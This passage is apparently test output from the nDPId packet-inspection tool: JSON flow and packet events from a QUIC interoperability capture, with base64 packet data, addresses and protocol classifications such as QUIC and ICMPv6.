+02118{"flow_id":67,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":97,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":766398,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"PKn0qB\/spJGxgjQ5ht1gCcrWBNg6NCQAiQIAAAAA8DyR\/\/5ppFQgAQsHCsnVrqTT\/kdpHoB9AQTxKAAAAABgCq04BNgRNSABCwcKydWupNP+R2kegH0kAIkCAAAAAPA8kf\/+aaRUlL0BuwTYjlPGCgoKCgjBjvWe+MPFRAAARL4AnyCwAgoQjL1g+KDURvDYeEyLw\/xCRk6Dll3vQteHoVQFBQKAtW3\/PUJKxA75UMcNXhZUvkOXlYopsWey\/u66wX35Pj6pU3CXAqQ3fDp5zyCvr8Pm5AyoNAx0veCSUQeDBYfIgnerrrO2MEGoBqYPiiUt8xe5+r79P3P4ZzDRVupqGycbUWtQ6Wo6aZSD05slEqoyPBAaLp3YhydnPgb7vRWFjq0SdM0H\/zxBdY7aJ5VQRGeFUx984uZ\/K6yeMGPT3JYsoR6JIONmbNNldMQuEP+a7GBJ3iEWFJ1Nkel3g0iBwZRA7TTHinpesR5BAPJGKsJg\/VS2BeEVhnsQklM+ccg8cEJ\/WZ8KGZKu2b5eb3vaAvV55IOI0J2iO5UmLyQCl7SbwQC4xeRqoU1X\/r4ksMW+JxOVqFoTOp0p9K8G2C+kXU7PkGNUF6LWJgz0gBnPUfLEiLYep+IB3ydQMSXFv2q4ljMWpImZsfM1M1hyBHVdutiac3ctGpn70sK96\/GuFpnGs5SaPUZPVAd6cowQNyios9VD7LJHBycvPPV\/FVVqGKmtlmE1jhqYU8WM3TP2hIDFKj\/VkbTWINB6wKhdoTjaE++G5UWOW3DyJNvkrdNQDmb57TWpCvvDwZ0zyc9+kjM1P8gJU7fxklAOWt77tLOKjqKz2yyGTywbYI8fpyDxuwcOqHHM1p9Qo2bUMzUDDc5AgR5XXK8f98\/2k\/szEHoOj+xZ0LAk\/ktl3\/tNcCYf5NwDCkoJ2SA+A3liVp\/z86DQ\/o9ZPBbnT\/MRpriiusVj\/+7dyNzTUlosBxg\/ZTGIAFG9kkbqpmlXa9h8whQ+M5AjGTQXahgxhUg+T+XkcD3\/AwAskzg7QFF8QOQvTkgKR27pnPB9TcW0ov3zRKBSq2IRQasfzD4018QjLIoL6M1i7zKWOriPXhrbpQCBMed+qy0CCutCqcHfM5C6tdP5yjdd03xLltagPaoEJdMAzkTI4GTxawZxV\/nJEB2CpfHpXBAiLmSF3pSqQkOlK3gecF6Z5kJRZxdfHFiYQc+ZeBxM3ZsG9j3S6poeVhWhKtKijv579ezhO7g3QE97akiUNAtC\/9u96VNcgwwZo3pYzoh+bmR12ZZk\/flZDnZgzTtqeO5zikP6EaDg3xt4ZqzYpvmcwxx5bFkZ6tYCa\/WSn2OsS\/V89R9JkA+p04smS\/E7zSLxIHIjg7ziPRYLmF24dGHz34FZmheQHZ\/4gm1aFmIaG6\/7f5wmQDqHrB8QpqkJoLkDgUUHwTgyqeLrCOeAdu2eQCQJ4129kNDhXnJ7gWkCKO71EQxgH1wOzb5+V8dr\/jGNAAVFaptYOiLQes+Et0OXv\/4vGauirP+hYZEEAR3InBIIg\/L5KPxSdMCpSCm\/3UnE1zUNlTk7El74hPsNYUcmUS+usyw22jx+xLs4q3Kod9YDt4DrToci+qgaxSPs+xB3bX18DBMDyb8wNM5xFrlJXeWv7YCCDubwS+dnWseGEwnfJTp8dJgKhqy8jDuI7wNl1iTi5TWAuubz7G08V4L8udRmpqYJpILlag=="} +00537{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":97,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":67,"flow_packet_id":1,"flow_first_seen":1603816434766,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2400:8902::f03c:91ff:fe69:a454","dst_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","l4_proto":"icmp6","ndpi": {"proto":"ICMPV6","breed":"Acceptable","category":"Network"}} +01153{"flow_id":34,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":98,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":766415,"pkt_caplen":590,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":590,"pkt_l4_len":556,"pkt":"PKn0qB\/spJGxgjQ5CABFAAJAgWgAADQBpMeDnxjGwKgBgAMD5agAAAAARQAFAG8bQAA0EXREwKgBgIOfGMa+BBFSBOwcysIKCgoKCAcy61WfYmyeAABE0qUiGIQ4aIhBbz9agQnzKFP+Ko6UG2\/VO43Zha3PL4kqY0AO3g0iECAhk\/6ZwBC4N756XgQuYU60gIOctL9zb4\/OWAg0WA1DbWYP4KnPZTIp669qsv\/rQAibIfU1C4jJIVVwUvw56ggX1ZWtsSkpVhlWA38X41jyzp4YyuLbkb3bAYN\/EIWaL4EMGxO+IKXjPgtJdchWUK\/9x2bQrLTQrTrt1LVvOFtezyOxX3HU59rOyjLCliLHhymipAdeA2iilJa\/G\/jNCnm92iYqQ99y1tLbXGL1SO3nVuTvR5sjExBx5iwaDhDbYKtasZmgPHXFcFC5nc+7+wPPW5yfWD1laEE\/wGN7z2vQj3O2l8846UB817y5kdQqfJcn3ryUAQboDsw9RBRvujkaoMcMv7dwDFaulIkwKjh5NdGImH6DlqdJnNJe\/djBGIoTx+FNEOCf8VgkH2AS3NkcDuSUvP6wRjfzpEDMKt1+bfZxTozz2QUXP\/r1d5e\/ChVkzBO9tgTIIsrdTwdCDHK\/8GPaAe9Z9\/eOLqg1E0MYdvN2a123wOsPL+4jXgdZ77SJH2U6Of\/XWPTaYlfaheABwpiMv6I00YAPVCHV\/IRMeTtBZrb8p0Ppi3qMyAgRXlwJ6aGPFOXZdGvMJWgaWpFkLrTD65P5wK4ostYxbEc="} +00490{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":99,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":68,"flow_packet_id":1,"flow_first_seen":1603816434772,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:19f0:4:34::1","dst_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","l4_proto":"icmp6","flow_datalink":1,"flow_max_packets":15} +02101{"flow_id":68,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":99,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":772881,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"PKn0qB\/spJGxgjQ5ht1gDK7JBNg6MyABGfAABAA0AAAAAAAAAAEgAQsHCsnVrqTT\/kdpHoB9AQS44gAAAABgDEm8BNgRMiABCwcKydWupNP+R2kegH0gARnwAAQANAAAAAAAAAABrNMRUgTYSrXMCgoKCgj2S26kHUj2aQAARL4Oqb7kxp8VwqfBhPdfdtQhtwUXSB8\/M16zqaKTaiM4uFSCgiApTua+W3aFO11E8\/vpjw5fdiBSABUTDotMg5RkiQr0MSpUaARnrP0PNMBaoZi0T3torsgUpfH8Z7GKLvwTGd3hbCPXQz5HEzUHjJnObkXYOU8pDBMRAGZYnp5rkZbRT2vPBVCj8Cvx8bBBKneUgl1FG4uQ4EwyOma55O1RYgmn2Ynf1Ko5xhvyQTnOGQ+R1VyW0n7heo02IMCfY4VWPj\/QJHyKTPMBIDBtSvz3J6mf3nv69QC6K+3y7kTFVD4RNSmXPDKfJ4r8a\/jVYQ3tiwvsysKnCLgA5zby1+dfPHEiaiwawfH+cKDMssE48zXk1+MDRnahgP5\/5W7h5R0W7WQX3skNYTREacQ3LvDACn58ERfFzl2AshIb29QMiGQj+aXYqT7ftIu1mYCEtR10HqM0E0tdjMJlVoxU1sQCMNHCcSjur932nDLMq95bmJ\/epzRqKtYXqFfJm4ZnhGTZV2QZB+hX7pNkAbrVOicdWh6ASPsIKRVzbgM4azW3TFLOWbFSWksd82BdcgW3kBeZ+Zy87igudzpPx0kdISA+wUJUrSUaJmejNXcUK68sicz01uq+5FBxl7uzJB5i2OXGU+jvmL+lkKweCPtvayVLhcuvz7KLW1nrXu3HU\/E\/bgsaTJyGVokl31OFOSR9LQtdKuoewFPyn5r490C8zNMeXqpImt2kn4Tr\/jlH\/fxzyim4MX4msP404e3jLfo+J9lzJhkenDu9xAnUgd\/iKSb6RgtGPU4Y6NI2QNpIfd6MzugcP8a0lodftPQcResoW35Hgg5t6I+PqN5frd2jtB5RiFyFN6yYVSH5fwqpb5sgLyM2ZMvumoV6ZVCMO3EMaRJu6f+U3CDduLYbXqPjXTUFXnzx9Vt03+YreNFX6wa5PrrBlSKMZP\/2WAmhb8cWINvyoZmFlnI2qd6sXg1dpFNY99Vqu1GrXPgV8Qi9MxV9uHzluuqG5swDMVT91S3LeU6XPmicYuwxrVZ0fDoeWpn4Kta0sEVDVUOf9hI8REFrn\/lLtMViNZ5rtWhIMKLyMIne37ob1RynB8J3PHqTTUqyQWLUmsA7XpXuycyFg0eDsVEBgiX65miUosWBtlhptbWoDODs0zqjlEGqOg5rKyio59+SI+p7jTV93mdfy9Wt2QGrnsPSiOSsj\/pqM\/pZ2PPrcgdTK9VPceK3CdsRz\/jNTpieviefPJXgnQD9JDKvgbRzI7jy8hldn4q+BSAvi3W0FwGFIYHJsgwTS2D+M4jyoohPca8fHwPwrKPUAytl3yLskOFTcOEOwWAP0YkHc8DSZIYnWDfZRitncpUl9qEcnjpTihvHHfw2HQxFR5lkMlUwBOL06kpNLUObIMz0gJ8az8O5U2MJseOwsScI7UtAgMA1Wat1Jr7S5b3fSl1DVUzvG0hnyrSZS2C54u89rSG8QQybBKCeSDnq1GpKeq\/O7HdjP04WmFuLDA\/vf\/9lSaOXhNpEErLndSFsHzNaPYP8EGwGI4iaWZOfcrm8Fw=="} +00524{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":99,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":68,"flow_packet_id":1,"flow_first_seen":1603816434772,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:19f0:4:34::1","dst_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","l4_proto":"icmp6","ndpi": {"proto":"ICMPV6","breed":"Acceptable","category":"Network"}} +00494{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":100,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":69,"flow_packet_id":1,"flow_first_seen":1603816434776,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"51.158.105.98","src_port":43735,"dst_port":4434,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02105{"flow_id":69,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":100,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":776956,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUAYA1AAEARdrfAqAGAM55pYqrXEVIE7DzAzAoKCgoI2nqja59HDyMAAETSIwUh\/jjSyce1pBuktMAn\/9fQVpvzsj8X4f6zzIa5zUMyPshEJVxx\/HgJpy2DounAtWqOn7MykfNk1iAT6IFLl5JJDlHVUgHekilaBHXQFm7iNuBD05oF1B0F7q8Qrx84dCVbjPq2TzzI4E8Jn0w6eGKEzj3zAOYyN\/jtcSwUMH\/tdAvJ2KZeRWAZwgBZ+NHFpdpJskxMoq8BiazR6NmdCcDVWJJafWv\/J6n2MwHgdrbXoHD7z9vBv7OTw1ZsmRTWOginovLBtLwEow12QHwK+3EKlGb67Dikjj6Hsiva+EHGjyXXT3NafDD2Mdy+tEkICJVPMdfQgSiLKciRXmF+eiaKhn6t+ZZDXwMIx1tObSDzE+o6+VwUniuIqDp4P1P\/ToVtD+B8x7Pd8fdBpJ4GLav9M4cI3Wrt3ZFYV3\/N8JUWUnnIryRD+gsn8U6xZxSihwbPDnANbZkkqUwtRBWNdvrID63JeJlKECXOhipg3RPgW+AtU7DD8FGCQwK077KHK\/4iE0FRnsfBWs4NiPYWSuDiKbOCzUPifBciRr8tMI1kDMDYdqhOf\/t2cQwVRdaNiCXpVyvtWa68KE7YuTZbjpI5Zm9LOCld3hJ01MiZ7LFRGruZgu66Qt6cNK570mj580eh0jpjgWEGkDr8jkE8qlxmZ\/+JhXsVQeSLOCJpxCPnoKcC\/AgENxJJFj5QqhvZ4\/+S85TLqOVPU75k58aRkk+ToNWPiawuoh+7ZmQNuVNQVgcCtQEXQJu346G7rcjTAKMH3PDGS8OBxREkqOUKIE\/fJzE5mkwFxduFK\/B7NuaeUP\/viNgVQPK+xx+1Ngb7A4VcDPdAPTWKWgbWpoEudTGTXV58El7GU8KydW+XNFItpFzmhNuEFbckU8GM1h8hyV6YxNQ+Ywvmqeqx+Qpa2gsPfebPvZhoavla3sgCdU8L3Fi\/gojIsV72icFiRHpi7wgSeg+dYFEA+ApHg9oKhJJhp8\/wWsOTm76uoFhEbKbRL2YPAgB\/Ql+puWC+1\/d1JEz2eZaAp5Zo4yW5zTvhxVsa5hrrLnPK2t90EkaeWT3kM4NBLrAUyq7fPgZ5preHWxkcCRzxymqgt+6Xj2oWVLVyaqWrzsHWrurGOxbP60QM5pMHY613Q+LrLNvTCsh4ZQzv0k2FKQRVr9u07bMlGLVO5kHK8AlGOnI97GL1hRF\/kBPlbHravjlbftLM0ZE+ofUKm3FCAyqpSNR5f+azjzb6QBklYN+zHv4anLf2bRojetf7WIpCzUtOun8gE3beg5nRdzOcNC5G1ZAhS4QZYrCUyLzy6dQnaI5ti\/HjmSldcvKZM0X8HEANm0ee5l4G\/rQp3samcnQbFsOFm5GfplnfCVyDu6SZLaWZt28o+RfSwBU5HTnFtZyilWnthqnChfP+hUfiDQ1asKcjklc33MY5RFlJ6ek8gI0+BRbnKE7zMoxaJ8oo9BJU12dwyF3tndCM1wJjl2MBm5rkAUb1j4xIIVUrcA0Os8Qp7MwNsapkh+lLuE3uc7vgFLS327NgSo9rR6EA2jIx++BL4omb8CcMSEd5E0h8ER2PPQ2Ijvdcaa4AGZMCHiMkSxGpTa9jY4devoI6nqBsHtnxRjt+CQUUD3xf\/+arnnuqKk3gOjeyEQ=="} +00734{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":100,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":69,"flow_packet_id":1,"flow_first_seen":1603816434776,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"51.158.105.98","src_port":43735,"dst_port":4434,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"quic.seemann.io","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +00503{"flow_id":53,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":101,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":779296,"pkt_caplen":109,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":109,"pkt_l4_len":55,"pkt":"PKn0qB\/spJGxgjQ5ht1gC0dvADcRMSYEqIAIAAChAAAAABJ5MAEgAQsHCsnVrqTT\/kdpHoB9EVLSAAA3EH3TAAAAAAAI6BdjXmXwmldRMDQzUTA0NlEwNTD\/AAAb\/wAAHP8AAB3\/AAAe\/wAAHw=="} +02112{"flow_id":31,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":102,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":779850,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUA7X9AAEAR3vnAqAGAyu7cXJgVAbsE7F0\/xwoKCgoISaS\/HP4FIE0AAETSs+MVmuG4wpmNcPXwiwbgkyhiThvn0LHBRqHfn+gXOdfthzxlp0ltI03pZKw9vyqEYoBiUoMOALn8iwjEM1bBG0sKOHNmuafb9yKJq5CpXdfVW9fnnip2p1tWnGQZccSpOc1uq0bHiGjb10mg3cqpILSGktAMKwPjSF47KMJxZp\/l9ao1+O97nqhSrQZgHoEMImlI7ZCND\/wyqspL+eu6NAWz3rU9vba3BnFw354DNfuXu8HOGbC3Guvt9ytqxi0Yz5DSI1kvCcdc1n7wT0BoaLVFB\/yV1s2y5v5nH3DzJd2ACj9o\/zmaZyMpvWCTRg29elBjIR6fiI98dZm7sRE0VcNIEEqTNqSeoXcWt5unTNHBRYj7lwzoPoXK2TUjG515g9q9fHLJbLWr6\/hB+vEJG6S7dsFN6dIXdTpgqWHu81xJ1m9hfY7AkYBIllm4leEOWu1SRr5c\/AEsknAD+6XbQas8XXqJRRnDaBD1csMJtZvxoVWNSuOHBfOUyiZ4hDYxHjMLTLGygYFsDHCP93SCma0J1PrsKV4mBTWbhdzxAD3aoMxgjoxla8DQxuClSD4NOC96GJ+rdubJmMLxnEpF5JDa1IKuYrUXV3w\/4wQZqtP7g6zDf2GhddDBCDNr7yc+hg+5ilxcgcb2MVoLkgX1OkizCx2RSfRb0eK8thsruCLFSby4jO8bsuNj\/DwRHrD9ALa9P\/tMKNqD\/QB3PCX6uMJrfyT324LeetrVxPvOBvrQpiJegaN9JcarJLQiUBPGBrK+q6yGhmqia+H4CTzm98FspAgFJ3pIDJit2uCN0awhg2fUthbI0kXrjD+YpQbOi0QPuM2dRjqPXjXqrT+X2FbVUvVA37Xe2HlgHJQb01jyc3xry22J8\/uMKksqV4OfH9xACygHSWKGL7403rhhUIh\/1OKDuete+v6YGMI6HZHwxepcu1MBc8\/3NDyIJT7pGaR74MXwks5nUPSMbWXdz5gpe86RgRisPos\/HQNeweIwtPmU7vDULxHYQYbZJm932INOf+U0JuYM9\/0yyF82eovZ0gS\/AOY09vwKYKSps2BcZpcxKZJ6olMmG8Bd8RL\/TLXZh8OzsalyvubiZwDWuVVt1AZfvz8bSBiibxOi0oZJkb4Skel7UVJq4ZUt\/AwshUTtNvBmdhQCuqFbi+vqgJQibSCoN9R4ZSyuDwh4LgKfjp+jo8uQyFbtI8t7MPDA2gEjE9qSW351YU9i5A\/s6I\/H0QY4qaYHU6kmhNbmIKATtEXjZl9SsVnMQ++X3XZU09ZdvRROedhNjBpUePUF2+I+GgpQe9uXNKuTX5eintxBFe\/K9\/CrJuH447MCSJbL3kP6Bf4Qg2eo6fEs5dY6Gxdja3GF51OjnRG43ifui\/tVzaMUi324TS\/XRgkk6p17f60JC6V4Gg40mbPu0O21JxeTFWtWMYV6jinEN5pHS5s61dr9fU3vtxIOEN\/xMZjMROyRyCA55e\/0gx+GVjszIFs+UXq\/SyGgMEveU6gGW5EAZ3dCbJv6R+xa9kprk+rkDzgIuFc+I5Eg81JJd+kRHZiTfuhJaM8VwpyTDR71\/6\/lU7nCHcQiW3bXtU47eJyWza+vS4JMmYpHRxlNVbyyHp66eitmqcsnzcAlPI7xtrqCvg=="} +00453{"flow_id":40,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":103,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":782784,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"PKn0qB\/spJGxgjQ5CABFAAA\/AABAABwRNNQSvVT1wKgBgAG7iFcAK9mxgAAAAAAACPLo65bqtzD4+s6wDvrOsAH6zrAC\/wAAHf8AABs="} +00543{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":104,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":70,"flow_packet_id":1,"flow_first_seen":1603816434784,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","dst_ip":"2a05:d018:ce9:8100:cd2a:e2fd:b3be:c5ab","src_port":44605,"dst_port":4434,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02107{"flow_id":70,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":104,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":784280,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"pJGxgjQ5PKn0qB\/sht1gCAvlBNgRQCABCwcKydWupNP+R2kegH0qBdAYDOmBAM0q4v2zvsWrrj0RUgTYFNnOCgoKCgghNSPe1nPIHwAARL5EcEFiriZrD+ET8JYIbR9oI0xm+rhrvJqfLILgs8D3Ue0qQNbVhIpNUU0tlgUCj3R+EB0BmYAvw6bLa5fuluEc0rN9r82heJLvapv7VUF9l51pFcem49jTWjYnj2oS6+waPQZXW+lgdvo6kQGqK89XfdzR1PgUM0aNtvz7T3DIGxshf8Bt0Mg12xV8BKvDf+WpUoRZwtsOWK2raSvEzJiBDtp9+7hN2cxP9JSjYr8Ymo+djN+4mxQxt78BMIwseR0wrK25i\/FCRyQZdy2RkGo1CRXgmyDAvyZwFE4TbrzLF307bQj1syPR3dOu7kPw5RNRQT+t3L+8NYL3mVwzg8kMaSuoFMxCZQvln3VAPeh3OJLvvw5+EMXFzx9zqWLfnKXdAHEumvxqEmlR\/1Fx5dKWAiLy4VEiB68pm8cbRcxMeWpZLJsU99vTYR1NQ7ym2LdsdYmsLFkMBHZj6r8XWpZpYhelGHgVf6dBgfvJoDoveKLzHHW7IQW0Q3CRZrurV397BZfMCs6JGA+7vvWU+gtIQ6+afCAD2BGOodmj\/NZoYjSTSz7UleFuiy\/Vh89Rle0L+paWGt8DSK3GtOoMd1TE8\/cyKXC0DuFP7OI\/tvNCsVqyrqekypnTROZiw\/hHDf4fjDoJUlr9W1Nwoksz+NUOe+agaP03VJPXO6c8eR1g16+4NUIoRiQvQ0PsA7\/u1\/P3EtbO6kdIsAPEzJh9T\/vDsjetpZCO9B\/5U78SmuNIpzUeyMa0pZ3WKYxs\/S8iP30dyOyRmNpGcQ2OhBlF2DpsSjXyEdMu816faZPTNRUFFFKzjtvsO4TkLkupS4QKX8ZqjlbPKIDbq7pJvPq1yQvdi8dyUb+GRdEu83F1kTyqMVj3VhOrCFJc0NwPk0QIQVaRiHCaQM\/M\/CAEON1vbjPSs5TR\/CU4ctB4lWQERooxF86Jf+vt4BRo+E+RBZpGyY9TSyW8BYhtJJUh4WEUdOJYaaV9TsJb\/JsQlajq3H+ad6FKE+sN0lRn0vyD+XLhK8WIG31ajHwqBioHhepDDhLwoYsiq3DO2TeKvxXp\/qbpXpHbmWZzrHqrW57rxAic64eJNK8nbylzcqNgf8E5i4dPbpF2trFKH9Xo28gQRRftLrNFAzIkDO4sN7G\/s0Kd5rqq+U4C+5hUgd+K5TPBViJ0+ZA5X+DO59wdV3YWk6fe3rpcJwZqkWMTHB+M4lLppO\/yNE76E8Kr\/Uqw7z2y9O2Hv+NvCttG9qY2iyEqocZxBUTD+UcJwLZ5GMkOh04nY5cKAEPxYCG+ZT+E6zrOvBnQQZqy8s3d7C7XsImaGAvBZu0AsMYvrJw6+l+x2h42qzLWSCCzqB8YHNMAoyjY5EEPiHDB4aqsw+AvUgp3kmejvZBqsLkmz4XspOgx4+v9KHKqq4bc+dtdIyTgZmNbhwtVFRrJwGMGlIJO3dYTW+eFWTrmyY\/kU+ejjmIORkV0nipRgOem0UmubxMEgQZJeGXrQKTimh1Z9tS70mAbbB\/uGZjC6Urq2uLNfRgZdNhSsyCMoYQw8molzzh2Na0ZIW7YN2Gu\/\/Rf\/n13siixEZmXrzTIF7wcraimRKQ6DvgjgbL2hCWeF8mCngEFXTnoVA=="} +00783{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":104,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":70,"flow_packet_id":1,"flow_first_seen":1603816434784,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","dst_ip":"2a05:d018:ce9:8100:cd2a:e2fd:b3be:c5ab","src_port":44605,"dst_port":4434,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"quic.aiortc.org","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +02115{"flow_id":36,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":105,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":792692,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUAJ7ZAAEAR9yfAqAGAhfLO9KXYAbsE7LC9xgoKCgoI+QsGqtFYjA8AAETSGVf3NpHzKNMNdfh\/V\/noLzrrCJTWCW2izc6gcn2txyrZ3vTYFw9oti5N5Zd0a4DdA1cWLhNby0WoxjcoN3uUL31I6AuWTRtQmld72DVp1nFbW14vxWrhBIu4agIQU6NycrkwLEV1tOoKdYlrthTNMwD3M+k5+y\/jdMVtkD0R0YQR7BZOnM3kTX1bH0f\/eldh4oH8S4GerrQ\/hVn\/PHliyMbE95mBKeNH\/XBKjPaVH4SE5iyuZ4o0cAJX6zKU4lajsV6QVuEgsemLtfWCChsdFvaI+RSAzByJ2Y7eGCh7v+Gh4DXflSFSrZUSBAmTZoA0Zou6ukZtsJNjsWY68k6WygqpiwhMQJreLyjeXVzk7oyGDwHO\/hAvmg6xY5GXfBPf0ls2P2OW7n3w7L66S3D+as25Ka5fB\/1n04+oJmaw3ADdYqeBwRa3iSrQ7F7kK3NaNAJNRq2zS4fr\/b+ubURvNfR5staBQwIu\/o7Zb5+LwmaF9rZXHBu2Tz+8wv0lj8mhBUzLNtcfw27CNl1txh1+lvdEzBQ0+1QdwfOwk\/hlq7\/lf8GrfqmLhlEPTaPG7AFa3IPuxLh84mmZwaTAXQbxug33HwUz22AWbGI9PCbve31PjWm1LgNNd+7+kMpoKF52auR5lPAUr8zA5LwEBGR1mQkQ7NprWlORnGh5UWqvkJJHwL2k2IRTag51mGTH5MB1+cfSjVWNAtd\/8JuYCSBC+KNhtmuCXomT7rLvgXGj6o1sphXx4atNA9Dn9q1FcbinWgv+WKWZhnHGGP6dn+mrWu\/7bvpjXjrtDgIw7CyPxH34BjhKbxZ7QcB83XEhpxelpCRa6WUEloOBWGYIeMG0gZJIKjNZe0ll5C9J5n2Eq3sqg9KP3L2k8K+5dmEqspUGb1NUPPi+n6\/iFHU1fhMvh64hs66vVu1aXgLA9dFfJPSu+8U4SVAQ9LQIkLt1yLRcKmzv7K8F\/1wJz\/\/VA0FnXA\/S3tZfKvHD4A\/\/6XZ0e0JKAMn5kSF7uTeS5e5gdjg52fvbQjQd6m1d25cld76mtRwuKWprxy2fwcaEL3Y3Vh5fKfWjC4aclIK\/BmtRNjMNgHLI8jT0sKKwQDoyu6Dl2oMw70Jg67MXwUeukQTS75rXVHrbzUA2pmGH7aReYW35h4TyF+C9spNA\/zEJJt\/SQ8ZE+FX35GC6kc6V2qla+i+Pq5C7DccKCdXqXuLKAqiNDsgQzxhbb58C67FdYeSem4xijEQ544+5VsmSgDw5Bm+f8kn5ITiUXjSnERiDrW8LMlRKSAtIBNf8TTQIdO73pxNtEY6ZK+aCZSZfuGLY